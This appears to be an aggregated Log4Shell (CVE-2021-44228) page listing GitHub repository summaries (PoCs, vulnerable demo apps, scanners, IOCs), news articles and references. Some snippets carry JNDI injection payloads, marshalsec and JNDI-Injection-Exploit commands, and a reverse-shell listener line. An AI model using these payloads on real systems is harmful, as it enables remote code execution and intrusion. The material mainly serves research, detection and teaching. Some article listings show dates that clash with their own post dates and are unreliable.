Repositório para o trabalho prático da disciplina SSC0900 - Engenharia de Segurança (2024).

Exploração da Vulnerabilidade Log4Shell em um servidor Minecraft Membros do Grupo Pedro Kenzo Muramatsu Carmo - 11796451 Giovanni Shibaki Camargo - 11796444 Matheus Giraldi Alvarenga - 12543669 Gustavo Henrique Brunelli - 11801053 Vídeo de Apresentação Introdução Este repositório contém o trabalho de pen

log4jpwn log4j rce test environment See: wwwlunasecio/docs/blog/log4j-zero-day/ This repository contains an intentionally vulnerable playground to play with CVE-2021-44228 (aka: log4shell) Experiments to trigger the vulnerability in various software products mentioned here can be found in the vuln-software/ directory examples using the included python poc build Ei

Konarr

Konarr ⚠️ Work in progress and early stages of development ⚠️ Overview Konarr is a simple, easy-to-use web interface for monitoring your servers, clusters, and containers supply chain for dependencies and vulnerabilities It is designed to be lightweight and fast, with minimal resource usage It is written in Rust, uses Rocker for the web server, and Vuejs f

Java Unmarshaller Security - Turning your data into code execution If you came here for Log4Shell/CVE-2021-44228, you may want to read about the exploitation vectors and affected Java runtime versions: mbechlergithubio/2021/12/10/PSA_Log4Shell_JNDI_Injection/ Paper It's been more than two years since Chris Frohoff and Garbriel Lawrence have presented their resear

Searchxploit is tools for find vulnerability based on exploit-db database.

SearchXploit Searchxploit is tools for find vulnerability based on exploit-db database This tool is inspired by Searchsploit Usage Example [cilia@cilia searchxploit]$ python3 searchxploitpy === Exploit-Searching By githubcom/fooster1337 inspired by searchsploit [gitlabcom/exploit-database/exploitdb] === Usage : searchxploitpy [options] &gt;&gt; Options

jee web project with sanitised log4shell (CVE-2021-44228) vulnerability

log4shell false positive This is a simple web project with a sanitised log4shell vulnerability For an unsanitised version, see githubcom/scabench/l4j-tp1/ The project defines a simple scabenchHelloWorldService get service returning a plain text string hello world The service does not expect parameters, and if parameters are encountered, an error is logged The vuln

A Log4Shell Proof of Concept (PoC)

Log4Shell-PoC A Log4Shell Proof of Concept (PoC) This repository contains a proof of concept (PoC) for the Log4Shell vulnerability (CVE-2021-44228), one of the most critical security issues of the modern internet, that affects Java Apache Log4j library through versions 20-2140 Log4Shell allows trivial remote code execution which has generated significant attention in the se

jee web project with log4shell (CVE-2021-44228) vulnerability

log4shell true positive This is a simple web project with a log4shell vulnerability The project defines a simple scabenchHelloWorldService get service returning a plain text string hello world The service does not expect parameters, and if parameters are encountered, an error is logged The vulnerable dependency is orgapachelogginglog4j:log4j-core:2141, the vulnerabilit

Keycloak for CIRG Steps to use this repository Install docker Install docker compose Add your user to the docker group sudo usermod -aG docker user_name Run the container from the project root directory docker compose up -d Testing your app login You can use this website to test your login functionality wwwkeycloakorg/app/#url=localhost:8080&amp;

log4j - CVE-2021-44228 medium link explanation 1 explanation 2 checkpoint commands GET / HTTP/11 localhost:8080 Header-Attribute: ${jndi:ldap://localhost:8080/Basic/Command/Base64/Y2FsYw==} echo "GET localhost:8080/Basic/Command/Base64/Y2FsYw==" | ncatexe localhost 8080 echo "GET / HTTP/11 localhost:8080 Header-Attribute: ${jndi:ldap://localhost:8080/Ba

forked from https://github.com/kozmer/log4j-shell-poc

log4j-shell-poc forked from githubcom/kozmer/log4j-shell-poc A Proof-Of-Concept pour la CVE-2021-44228 Proof-of-concept (POC) Installer les dépendances python Requirements: pip install -r requirementstxt Usage: Démarrer un listener pour la connexion reverse shell nc -lvnp 9001

A simple python client for the NVD API, not endorsed by NVD.

NVDClient NVDClient is a python library to simplify retrieving and interacting with data from the National Vulnerability Database (NVD) This project is currently in the early stages of development and will hopefully see changes soon, however is being made available early for others to use, test, and request changes on Quick Start Clone the repository Enter repository direct

Find Log4Shell CVE-2021-44228 on your system

Ansible role - log4shell ⭐ Star us on GitHub — it motivates us a lot! Find Log4Shell CVE-2021-44228 on your system This role tries to find JAR and WAR from filesystem and from opened files (lsof) ⚠️ Your system may runs slowly during the scan due to a find on / and the unarchive process to lookup inside the JARs/WARs This role populates the variable log4shel

Blogpost Preventing the Log4j zero-day vulnerability using a simple network policy If you have access to the internet, it’s likely that you have already heard of the critical vulnerability in the Log4j library A zero-day vulnerability in the Java library log4j, with the assigned CVE code of CVE-2021-44228, has been disclosed by Chen Zhaojun, a security researcher in the

Log4j Vulnerable Application For Demonstration Purposes

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app@

https://github.com/christophetd/log4shell-vulnerable-app.git

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

Rust implementation of the Log 4 Shell (log 4 j - CVE-2021-44228)

l4srs Rust implementation of the Log 4 Shell (log 4 j - CVE-2021-44228) to build run cargo +nightly build This version will let you build command classes, dynamically serve a mini meterpreter that runs in a thread of the exploited Java app, and runs the LDAP and HTTP servers This version servers both the LDAP and HTTP requests from the same port You can run on multiple ports

Vulnerable web application to test CVE-2021-44228 / log4shell and forensic artifacts from an example attack

SnapAttack Log4j / CVE-2021-44228 / log4shell Resources What's included? Damn Vulnerable Log4j App damn-vulnerable-log4j-app contains a basic vulnerable Java Servlet that logs the User Agent, HTTP GET and POST parameters with log4j It is packaged as a war file and can be deployed to servers like Tomcat See the README for more information Attack Artifacts attack-arti

Raphael是一款基于Python3开发的插件式漏洞扫描工具

Raphael Raphael是一款基于Python3开发的插件式漏洞扫描工具。 Raphael is a vulnerability scanning tool based on Python3 Usage raphaelpy -h 2021-12-30 18:54:32,198 | INFO | Raphael Start ~ usage: raphaelpy [-h] [-u HOST] [-k PLUGIN] [-l] [-p PORT] [-t THREAD] [-e] [-o OUTPUT] [-f FORMAT] optional arguments: -h, --help show this help message

VGW Techtonic 2022 - Vulnerabilities The purpose of this workshop is to educate you on the risks that software vulnerabilities pose and how they are introduced We will focus on how to find these vulnerabilities within your applications and exploiting them You will also be taught how to patch these vulnerabilities and reducing your attack surface to mitigate risk 1 Setup To

This repository contains all gathered resources we used during our Incident Reponse on CVE-2021-44228 and CVE-2021-45046 aka Log4Shell.

CVE-2021-44228: Log4j / Log4Shell Security Research Summary This repository contains all gathered resources we used during our Incident Reponse on CVE-2021-44228 and CVE-2021-45046 aka Log4Shell Threat Intel Mitigations / Fixes Malware Reports Advisory IOCs / Callback Domains / IP Addresses Honeypots Payloads / Obfuscation / WAF Bypass Vulnerability Scanning Exploitation

Log4j Scanner This repository provides a scanning solution for the log4j Remote Code Execution vulnerabilities (CVE-2021-44228 &amp; CVE-2021-45046) The information and code in this repository is provided "as is" and was assembled with the help of the open-source community and updated by CISA through collaboration with the broader cybersecurity community This is

Log4j for nuclei

Log4jNuclei CVE-2021-44228 Log4j for nuclei Exploit javac Exploitjava python3 -m httpserver 80 java -cp marshalsec-003-SNAPSHOT-alljar marshalsecjndiLDAPRefServer 127001/#Exploit insert log ${jndi:ldap://lhost/exploit} /////// java -jar exploit/JNDI-Injection-Exploit-10-SNAPSHOT-alljar -C 'here_command' -A 0000

Bash and PowerShell scripts to scan a local filesystem for Log4j .jar files which could be vulnerable to CVE-2021-44228 aka Log4Shell.

Log4j-Checker This repository contains scripts that can help identity jar files which may be vulnerable to CVE-2021-44228 aka Log4Shell Log4Shell Hash Check This script will find jar files within the filesystem starting from a specific path, calculate a SHA-256 hash for each jar file found - regardless of the filename - and compare this value against a user-provided list of

CVE-2021-44228-VULN-APP NOTE: This is a vulnerable virtual machine for showing what actually is this vulnerability log4j, and so on! Installation: cd CVE-2021-44228-VULN-APP/ docker build -t log4j-shell-poc docker run --network host log4j-shell-poc Listening on port 8080

Go module to generate and transform VEX documents

go-vex Go library for generating, consuming, and operating on VEX documents This repository contains the OpenVEX Go source code This module lets authors create, modify and manage VEX documents The full documentation for this module can be found at pkggodev/githubcom/openvex/go-vex For more information about the OpenVEX specification implemented by this module,

Tools for remediating the recent log4j2 RCE vulnerability (CVE-2021-44228)

log4j-remediation-tools Tools for finding and reproducing the CVE-2021-44228 log4j2 vulnerability Tools find-vulnerabilities: determine heuristically whether a running JVM is vulnerable confirm-vulnerabilities: determine with 100% accuracy whether a running JVM is vulnerable Usage Both of these tools scan all running JVM processes on a machine, and produce a CSV report abou

永恒之恶龙-Log4j漏洞安全自查工具

ELong-永恒之恶龙 2021年12月9日晚上,Log4j的漏洞详情被公开了。至此,一个神洞出现了。我们给这个漏洞起了一个名字:永恒之恶龙!可以利用该工具更好的自测是否受该漏洞的影响,或是在授权的情况下可以利用该工具更好的进行漏洞探测或漏洞利用。作者将持续关注并逐步公布此漏洞

LOG4J CVE-2021-44228 IOC IOC list of newly discovered zero-day vulnerability in widely used Java log library Apache Log4j IP Adress 2312964131 1679413858 2312964141 16214212544 2312964146 16214212543 2312964148 1679413842 8711811027 1042447455 18522010162 1851077056 1097010031 185220101187 185220101132 16214212542 4512134108

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools) Fuzzing for HTTP POST Data parameters Fuzzing for JSON data parameters Supports DNS callback for vulnerability discovery and validation WAF Bypass

POC for CVE-2021-44228 within Springboot

log4j Spring vulnerable POC This is a POC for a simple spring boot start backend with maven including vulnerable log4j version for CVE-2021-44228 Spring boot bootstrapped with startspringio commands /mvnw spring-boot:run: start server /mvnw dependency:tree: print dependency tree and check for log4j version in use nc -k -l 3030: bash, start server socket to listen

My Github Stars

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents Adblock Filter List AppleScript Batchfile Bikeshed C C# C++ CSS Clojure CoffeeScript Crystal D Dart Dockerfile Elixir G-code Go Groovy HCL HTML Haskell Java JavaScript Jinja Jupyter Notebook Less Lua MDX Makefile Markdown Mustache Nginx Nim Nunjucks OCaml Objective-C OpenSCAD Others PHP PLpgSQL

The Exploit Database Git Repository This is an official repository of The Exploit Database, a project sponsored by Offensive Security Our repositories are: Exploits &amp; Shellcodes: gitlabcom/exploit-database/exploitdb Binary Exploits: gitlabcom/exploit-database/exploitdb-bin-sploits Papers: gitlabcom/exploit-database/exploitdb-papers The Exploit Database is an archi

概要 TerraformとAnsibleを用いたMinecraftのデプロイ自動化です さくらのクラウド上に展開します 前提条件 さくらのクラウド上で環境構築が可能であること IaaS環境 さくらのクラウド AWSやGoogleCloudなども対応予定(円安中はちょっと無理かも?) 作業の流れ 以下の順番にて設定を行って下

Penetration-Tester-Interview-Q-A Cryptography What is the difference between symmetric and asymmetric encryption? Key Usage: Symmetric Encryption: In symmetric encryption, a single key is used for both encryption and decryption Both the sender and the receiver use the same key to secure and access the data Asymmetric Encryption: Asymmetric encryption utilizes a pair of keys

Poc List For log4j Library This projects is a poc list for log4j java library, which extends default poc for CVE-2021-44228 Required version &lt;= 2140 Actions

SnapAttack Log4j / CVE-2021-44228 / log4shell Resources What's included? Damn Vulnerable Log4j App damn-vulnerable-log4j-app contains a basic vulnerable Java Servlet that logs the User Agent, HTTP GET and POST parameters with log4j It is packaged as a war file and can be deployed to servers like Tomcat See the README for more information Attack Artifacts attack-arti

Damn Vulnerable Log4j App

SnapAttack Log4j / CVE-2021-44228 / log4shell Resources What's included? Damn Vulnerable Log4j App damn-vulnerable-log4j-app contains a basic vulnerable Java Servlet that logs the User Agent, HTTP GET and POST parameters with log4j It is packaged as a war file and can be deployed to servers like Tomcat See the README for more information Attack Artifacts attack-arti

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it A video showing the exp

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app@

💻 -n3rdh4x0r- exploiting log4j CVE-2021-44228 ( TryHackMe Solar, Walkthrough) git clone githubcom/n3rdh4x0r/log4jgit 1 run log4jpy (This whill install all the nessasary applications and start the LDAP server) ifconfig tun0 python3 log4jpy 108227251 2 Add attacker IP to Exploi

5 Essential Steps for Effective Data Loss Prevention: Protect Your Business with Gloo Gateway Table of Contents Introduction Identify your sensitive data Implement strong access controls Utilize encryption and other security measures Implement DLP policies Testing time! Continuously monitor and update your data loss prevention strategy Introduction Data loss prevention (

wgetCloud官网全球加速机场:手机能用优惠码

目录* Log4j2漏洞原理 + 漏洞根因 - 调用链源码分析 - 调用链总结 + 漏洞复现 - dns:蓝猫机场 - rmi Log4j2漏洞原理 前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入: blogcsdnnet/weixin_60521036/article/details/142322372 提前小结说明: Log4j2(CVE-2021-442

log4shell-detect This sample project demoes detection of the log4shell vulnerabilibity with OWASP DependencyCheck SCA tool integrated with SonarQube There's one example with a Maven project and one with a Gradle project Both use log4j 2120 that's vulnerable to log4shell (Publicly referenced as CVE-2021-44228) Just like most SCA tools, dependency check gets the list

Log4Shell (CVE-2021-44228) minecraft demo. Used for education fairs

Log4Shell (CVE-2021-44228) minecraft demo This demo is used at education fairs to give potential future students an idea of the cybersecurity department at HTL Villach and on how everyday applications can be exploited Note: This entire demo uses Minecraft 188 Attacker The attacker in this scenario is using the PoC by kozmer githubcom/kozmer/log4j-shell-poc All credi

Researches published in old public Immunity's blog and in the internal wiki.

Immunity's Researchs 02-17-2021_Immunity Services_ Misconfigurations in Java XML Parserspdf Analysis on the features of most common Java XML parsers that could lead to vulnerabilities such as XXE and SSRF During this research a new attack vector using the "file" schema was detected that introduced a new payload for exploiting XXE issues The research was origi

历史漏洞的细节以及利用方法汇总收集

📝1# 常见 Nday 漏洞利用收集计划 本项目为「常见 Nday 漏洞利用收集计划」,在渗透测试当中扫描器往往能扫出很多漏洞结果,但找不到利用方法,本项目旨在实战环境下能通过本项目快速找到相关Nday的EXP进行渗透。 本项目为一个社区项目和开源公益项目,需要每一位师傅的贡献,希望

Charts in a Helm-compliant repository for products by CENIT or other vendors

1 Helm Chart for Enterprise System Monitor / Service Monitor 1 Helm Chart for Enterprise System Monitor / Service Monitor 2 Prerequisites 21 Compatibility 22 RBAC 3 Installation 31 Default Installation (SM Server &amp; SM Agent) 32 SM Server Only Installation 33 SM Agent Only Installation 34 Access to SM UI via Ingress or Route 35 Cleanup 351 Unin

Search log4J vuln using AppScan Standard and a list of websites This Powershell script run AppScan Standard scans against a list of web sites (URLstxt) checking just for Log4J (CVE-2021-44228) vulnerability Structure of project: After run the script, it will read each line in URLstxt and start scanning for Log4J (CVE-2021-44228) vulnerability After finish each scan, it wi

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app@

The Exploit Database Git Repository This is an official repository of The Exploit Database, a project sponsored by Offensive Security Our repositories are: Exploits &amp; Shellcodes: gitlabcom/exploit-database/exploitdb Binary Exploits: gitlabcom/exploit-database/exploitdb-bin-sploits Papers: gitlabcom/exploit-database/exploitdb-papers The Exploit Database is an archi

Recent Articles

Log4j Vulnerabilities: Attack Insights
Symantec Threat Intelligence Blog • Siddhesh Chandrayan • 23 Dec 2025

Symantec data shows variation and scope of attacks.

Posted: 23 Dec, 20214 Min ReadThreat Intelligence SubscribeFollowtwitterlinkedinLog4j Vulnerabilities: Attack InsightsSymantec data shows variation and scope of attacks.Apache Log4j is a Java-based logging utility. The library’s main role is to log information related to security and performance to make error debugging easier and to enable applications to run smoothly. The library is part of the Apache Logging Services, a project of the A...

Apache Log4j Zero-Day Being Exploited in the Wild
Symantec Threat Intelligence Blog • Threat Hunter Team • 11 Dec 2025

Symantec products will protect against attempted exploits of critical CVE-2021-44228 vulnerability

Posted: 11 Dec, 20211 Min ReadThreat Intelligence SubscribeFollowtwitterlinkedinApache Log4j Zero-Day Being Exploited in the WildSymantec products will protect against attempted exploits of critical CVE-2021-44228 vulnerability A zero-day vulnerability (CVE-2021-44228) has been discovered in Apache Log4j which, if exploited, could permit a remote attacker to execute arbitrary code on vulnerable systems. Exploit code for this vulnerability, ...

Budworm: Espionage Group Returns to Targeting U.S. Organizations
Symantec Threat Intelligence Blog • 13 Oct 2025

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Ransomware: How Attackers are Breaching Corporate Networks
Symantec Threat Intelligence Blog • Karthikeyan C Kasiviswanathan Vishal Kamble • 28 Apr 2025

Latest tools, tactics, and procedures being used by the Hive, Conti, and AvosLocker ransomware operations.

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Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets
Symantec Threat Intelligence Blog • Threat Hunter Team • 27 Apr 2025

Espionage group focuses on obtaining classified or sensitive intellectual property that has civilian and military applications.

Posted: 27 Apr, 20225 Min ReadThreat Intelligence SubscribeFollowtwitterlinkedinStonefly: North Korea-linked Spying Operation Continues to Hit High-value TargetsEspionage group focuses on obtaining classified or sensitive intellectual property that has civilian and military applications.The North Korean-linked Stonefly group is continuing to mount espionage attacks against highly specialized engineering companies with a likely goal of obtaining sensitive...

The Threat Landscape in 2021
Symantec Threat Intelligence Blog • Threat Hunter Team • 19 Jan 2025

Symantec takes a look at the cyber security trends that shaped the year

Posted: 19 Jan, 20226 Min ReadThreat Intelligence SubscribeFollowtwitterlinkedinThe Threat Landscape in 2021Symantec takes a look at the cyber security trends that shaped the yearFrom the evolving ransomware ecosystem to attacks against critical infrastructure, Symantec looks back over the cyber-security trends that shaped 2021. A new whitepaper from Symantec, a division of Broadcom Software, takes a look back at the some of the major thre...

IT threat evolution in Q3 2023. Non-mobile statistics
Securelist • AMR • 01 Dec 2023

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Securelist • AMR • 30 Aug 2023

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IT threat evolution in Q1 2023. Non-mobile statistics
Securelist • AMR • 07 Jun 2023

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IT threat evolution in Q3 2022. Non-mobile statistics
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IT threat evolution in Q2 2022. Non-mobile statistics
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Four million outdated Log4j downloads were served from Apache Maven Central alone despite vuln publicity blitz
The Register • Gareth Corfield • 11 Jan 2022

Get our weekly newsletter It's not as though folks haven't been warned about this

There have been millions of downloads of outdated, vulnerable Log4j versions despite the emergence of a serious security hole in December 2021, according to figures compiled by the firm that runs Apache Maven's Central Repository. That company, Sonatype, said it had seen four million downloads of exploitable Log4j versions from the repository alone between 10 December and the present day, out of a total of more than 10 million downloads over those past four weeks. Tracked as CVE-2021-44228 aka L...

You better have patched those Log4j holes or we'll see what a judge has to say – FTC
The Register • Thomas Claburn in San Francisco • 05 Jan 2022

Get our weekly newsletter Apply fixes responsibly in a timely manner or face the wrath of Lina Khan

The US Federal Trade Commission on Tuesday warned companies that vulnerable Log4j software needs to be patched … or else. In case any system administrators last month somehow missed the widespread alarm over vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832) in the Java logging package, the trade watchdog said Log4j continues to be exploited by a growing number of attackers and urged organizations to act now before it's too late. The FTC is advising companies to consult the US Cy...

Bad things come in threes: Apache reveals another Log4J bug
The Register • Simon Sharwood, APAC Editor • 19 Dec 2021

Get our weekly newsletter Third major fix in ten days is an infinite recursion flaw rated 7.5/10

The Apache Software Foundation (ASF) has revealed a third bug in its Log4 Java-based open-source logging library Log4j. CVE-2021-45105 is a 7.5/10-rated infinite recursion bug that was present in Log4j2 versions 2.0-alpha1 through 2.16.0. The fix is version 2.17.0 of Log4j. That’s the third new version of the tool in the last ten days. In case you haven’t been paying attention, version 2.15.0 was created to fix CVE-2021-44228, the critical-rated and trivial-to-exploit remote code execution f...

CISA issues emergency directive to fix Log4j vulnerability
The Register • Thomas Claburn in San Francisco • 17 Dec 2021

Get our weekly newsletter Federal agencies have a week to get their systems patched

The US government's Cybersecurity and Infrastructure Security Agency (CISA) on Friday escalated its call to fix the Apache Log4j vulnerability with an emergency directive requiring federal agencies to take corrective action by 5 pm EST on December 23, 2021. Log4j is a Java-based open source logging library used in millions of applications. Versions up to and including 2.14.1 contain a critical remote code execution flaw (CVE-2021-44228), and the fix incorporated into version 2.15, released a wee...

As CISA tells US govt agencies to squash Log4j bug by Dec 24, fingers start pointing at China, Iran, others
The Register • Chris Williams, Editor in Chief • 15 Dec 2021

Get our weekly newsletter Microsoft says cyber-spies linked to Beijing, Tehran are getting busy with security flaw along with world + dog Log4j doesn't just blow a hole in your servers, it's reopening that can of worms: Is Big Biz exploiting open source?

Microsoft reckons government cyber-spies in China, Iran, North Korea, and Turkey are actively exploiting the Log4j 2.x remote-code execution hole. Up until now, it was largely accepted that mere private miscreants, criminal gangs, and security researchers were mostly scanning the internet for systems and services vulnerable to CVE-2021-44228 in the open-source logging library widely used by Java applications. Network observers say they've seen tens of thousands of attempts per minute. Successful...

Apache takes off, nukes insecure feature at the heart of Log4j from orbit with v2.16
The Register • Gareth Corfield • 14 Dec 2021

Get our weekly newsletter Now open-source logging library's JNDI disabled entirely by default, message lookups removed

Last week, version 2.15 of the widely used open-source logging library Log4j was released to tackle a critical security hole, dubbed Log4Shell, which could be trivially abused by miscreants to hijack servers and apps over the internet. However, that release only partially closed the hole (CVE-2021-44228) by disabling by default one aspect of the Java library's exploitable functionality – JNDI message lookups. Now version 2.16 is out, and it disables all of JNDI support by default, and removes ...

Apache takes off, nukes insecure feature at the heart of Log4j from orbit with v2.16
The Register • Gareth Corfield • 14 Dec 2021

Get our weekly newsletter Now open-source logging library's JNDI disabled entirely by default, message lookups removed

Last week, version 2.15 of the widely used open-source logging library Log4j was released to tackle a critical security hole, dubbed Log4Shell, which could be trivially abused by miscreants to hijack servers and apps over the internet. However, that release only partially closed the hole (CVE-2021-44228) by disabling by default one aspect of the Java library's exploitable functionality – JNDI message lookups. Now version 2.16 is out, and it disables all of JNDI support by default, and removes ...

Popular password manager LastPass to be spun out from LogMeIn
The Register • Jude Karabus • 14 Dec 2021

Get our weekly newsletter Private equity owners play pass the parcel

One of the biggest beasts in the password management world, LastPass, is being spun out from parent LogMeIn as a "standalone cloud security" organisation. "The success we've seen across the entire LogMeIn portfolio over the last 18 months proves there is a vast growth opportunity ahead for both LastPass and LogMeIn," said Andrew Kowal, a partner at Francisco Partners. Francisco Partners, a private equity business, bought the bundle of remote access, collab and password manager tools – which a...

Log4j RCE latest: In case you hadn't noticed, this is Really Very Bad, exploited in the wild, needs urgent patching
The Register • Gareth Corfield • 13 Dec 2021

Get our weekly newsletter This might be the bug that deserves the website, logo and book deal

Miscreants are wasting no time in using the widespread Log4j vulnerability to compromise systems, with waves and waves of live exploit attempts focused mainly – for now – on turning infected devices into cryptocurrency-mining botnet drones. Israel's Check Point said this morning it was seeing around 100 exploit attempts every minute, going into further detail in a blog post. Apache Log4j is an open-source logging utility written in Java that is used all over the world in many software packag...

Log4j RCE: Emergency patch issued to plug critical auth-free code execution hole in widely-used logging utility
The Register • Gareth Corfield • 10 Dec 2021

Get our weekly newsletter Prepare to have a very busy weekend of mitigating and patching

An unauthenticated remote code execution vulnerability in Apache's Log4j Java-based logging tool is being actively exploited, researchers have warned after it was used to execute code on Minecraft servers. Infosec firm Randori summarised the vuln in a blog post, saying: "Effectively, any scenario that allows a remote connection to supply arbitrary data that is written to log files by an application utilizing the Log4j library is susceptible to exploitation." Crafted proof-of-concept code snippet...

It’s time to fill those cloud security gaps
The Register

Topics Security Off-Prem On-Prem Software Offbeat Vendor Voice Vendor Voice Resources Here’s how Wiz can help

Sponsored Feature When software vulnerabilities and zero days moved up the enterprise worry list 15 years ago, nobody imagined the world would one day end up with a threat as perplexing as Log4Shell – a vulnerability in the Apache Log4j open source logging framework that's used in software on all major operating systems spanning everything from cloud services to PC games. In what might be called the happier days of the past, flaws were something that affected single applications and individual...

Memory-safe languages so hot right now, agrees Lazarus Group as it slings DLang malware
The Register

Topics Security Off-Prem On-Prem Software Offbeat Special Features Vendor Voice Vendor Voice Resources Latest offensive cyber group to switch to atypical programming for payloads

Research into Lazarus Group's attacks using Log4Shell has revealed novel malware strains written in an atypical programming language. DLang is among the newer breed of memory-safe languages being endorsed by Western security agencies over the past few years, the same type of language that cyber criminals are switching to. At least three new DLang-based malware strains have been used in attacks on worldwide organizations spanning the manufacturing, agriculture, and physical security industries, C...

VMware Horizon platform pummeled by Log4j-fueled attacks
The Register • Jeff Burt • 30 Mar 2022

Get our weekly newsletter Miscreants deployed cryptominers, backdoors since late December, Sophos says

VMware's Horizon virtualization platform has become an ongoing target of attackers exploiting the high-profile Log4j flaw to install backdoors and cryptomining malware. In a report this week, cybersecurity firm Sophos wrote that VMware's virtual desktop and applications platform has been in the crosshairs since late December, with the largest wave of attacks beginning Jan. 19 and continuing well into March. Many of the attacks are designed to deploy cryptocurrency mining malware, Sophos research...

China's APT40 gang is ready to attack vulns within hours or days of public release.
The Register

Topics Security Off-Prem On-Prem Software Offbeat Special Features Vendor Voice Vendor Voice Resources Lax patching and vulnerable small biz kit make life easy for Beijing's secret-stealers

Law enforcement agencies from eight nations, led by Australia, have issued an advisory that details the tradecraft used by China-aligned threat actor APT40 – aka Kryptonite Panda, GINGHAM TYPHOON, Leviathan and Bronze Mohawk – and found it prioritizes developing exploits for newly found vulnerabilities and can target them within hours. The advisory describes APT40 as a "state-sponsored cyber group" and the People's Republic of China (PRC) as that sponsor. The agencies that authored the advis...

Mirai botnet loves exploiting your unpatched TP-Link routers, CISA warns
The Register

Topics Security Off-Prem On-Prem Software Offbeat Special Features Vendor Voice Vendor Voice Resources Oracle and Apache holes also on Uncle Sam's list of big bad abused bugs

The US government's Cybersecurity and Infrastructure Security Agency (CISA) is adding three more flaws to its list of known-exploited vulnerabilities, including one involving TP-Link routers that is being targeted by the operators of the notorious Mirai botnet. The other two placed on the list this week involve versions of Oracle's WebLogic Server software and the Apache Foundation's Log4j Java logging library. The command-injection flaw in TP-Link's Archer AX21 Wi-Fi 6 routers – tracked as CV...

Triton malware still a threat to energy sector, FBI warns
The Register • Jessica Lyons Hardcastle • 28 Mar 2022

Get our weekly newsletter Plus: Ransomware gangster sentenced, Dell patches more Log4j bugs, and cartoon apes gone bad

In Brief Triton malware remains a threat to the global energy sector, according to an FBI warning. Triton is the software nasty used in a 2017 cyber attack carried out by a Russian government-backed research institution against a Middle East petrochemical facility. The new FBI warning [PDF] came a day after the US Department of Justice unsealed a pair of indictments that detail alleged Russian government efforts to use supply chain attacks and malware in an attempt to compromise and control crit...

LockBit victims in the US alone paid over $90m in ransoms since 2020
The Register

Topics Security Off-Prem On-Prem Software Offbeat Special Features Vendor Voice Vendor Voice Resources As America, UK, Canada, Australia and friends share essential bible to detect and thwart infections

Seven nations today issued an alert, plus protection tips, about LockBit, the prolific ransomware-as-a-service gang. The group's affiliates remains a global scourge, costing US victims alone more than $90 million from roughly 1,700 attacks since 2020, we're told. The joint security advisory — issued by the US Cybersecurity and Infrastructure Security Agency (CISA), FBI, Multi-State Information Sharing and Analysis Center (MS-ISAC), and cybersecurity authorities in Australia, Canada, the UK, Ge...

Five Eyes nations reveal 2021's fifteen most-exploited flaws
The Register • Jessica Lyons Hardcastle • 28 Apr 2022

Topics Security Off-Prem On-Prem Software Offbeat Vendor Voice Vendor Voice Resources Malicious cyber actors go after 2021's biggest misses, spend less time on the classics

Security flaws in Log4j, Microsoft Exchange, and Atlassian's workspace collaboration software were among the bugs most frequently exploited by "malicious cyber actors" in 2021 , according to a joint advisory by the Five Eyes nations' cybersecurity and law enforcement agencies. It's worth noting that 11 of the 15 flaws on the list were disclosed in 2021, as previous years' lists often found miscreants exploiting the older vulns for which patches had been available for years. Of course, the US Cyb...

References

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021-0028.4.htmlhttp://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.htmlhttp://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.htmlhttp://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.htmlhttp://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.htmlhttp://seclists.org/fulldisclosure/2022/Dec/2http://seclists.org/fulldisclosure/2022/Jul/11http://seclists.org/fulldisclosure/2022/Mar/23http://www.openwall.com/lists/oss-security/2021/12/10/1http://www.openwall.com/lists/oss-security/2021/12/10/2http://www.openwall.com/lists/oss-security/2021/12/10/3http://www.openwall.com/lists/oss-security/2021/12/13/1http://www.openwall.com/lists/oss-security/2021/12/13/2http://www.openwall.com/lists/oss-security/2021/12/14/4http://www.openwall.com/lists/oss-security/2021/12/15/3https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdfhttps://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdfhttps://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdfhttps://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdfhttps://github.com/cisagov/log4j-affected-dbhttps://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.mdhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228https://lists.debian.org/debian-lts-announce/2021/12/msg00007.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40